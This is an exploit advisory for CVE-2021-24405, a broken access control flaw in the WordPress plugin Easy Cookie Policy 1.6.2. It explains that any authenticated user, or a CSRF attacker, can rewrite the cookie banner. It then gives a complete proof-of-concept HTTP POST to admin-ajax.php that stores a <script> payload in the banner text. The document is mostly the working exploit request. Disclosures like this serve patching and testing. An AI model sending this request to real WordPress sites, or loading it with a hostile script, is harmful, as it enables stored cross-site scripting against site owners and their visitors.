WordPress Easy Cookie Policy 1.6.2 Cross Site Scripting

`# Exploit Title: WordPress Plugin Easy Cookie Policy 1.6.2 - Broken Access Control to Stored XSS  
# Date: 2/27/2021  
# Author: 0xB9  
# Software Link: https://wordpress.org/plugins/easy-cookies-policy/  
# Version: 1.6.2  
# Tested on: Windows 10  
# CVE: CVE-2021-24405  
  
1. Description:  
Broken access control allows any authenticated user to change the cookie banner through a POST request to admin-ajax.php.  
If users can't register, this can be done through CSRF.  
  
2. Proof of Concept:  
POST http://localhost/wp-admin/admin-ajax.php HTTP/1.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0  
Accept: application/json, text/javascript, /; q=0.01  
Accept-Language: en-US,en;q=0.5  
Referer: http://localhost/wp-admin/options-general.php?page=easy-cookies-policy  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 226  
Origin: http://localhost  
Connection: keep-alive  
Host: localhost  
Cookie: [Any authenticated user]  
  
action=easy_cookies_policy_save_settings&maintext=<script>alert(1)</script>&background=black&transparency=90&close=accept&expires=365&enabled=true&display=fixed&position=top&button_text=Accept&text_color=#dddddd  
  
`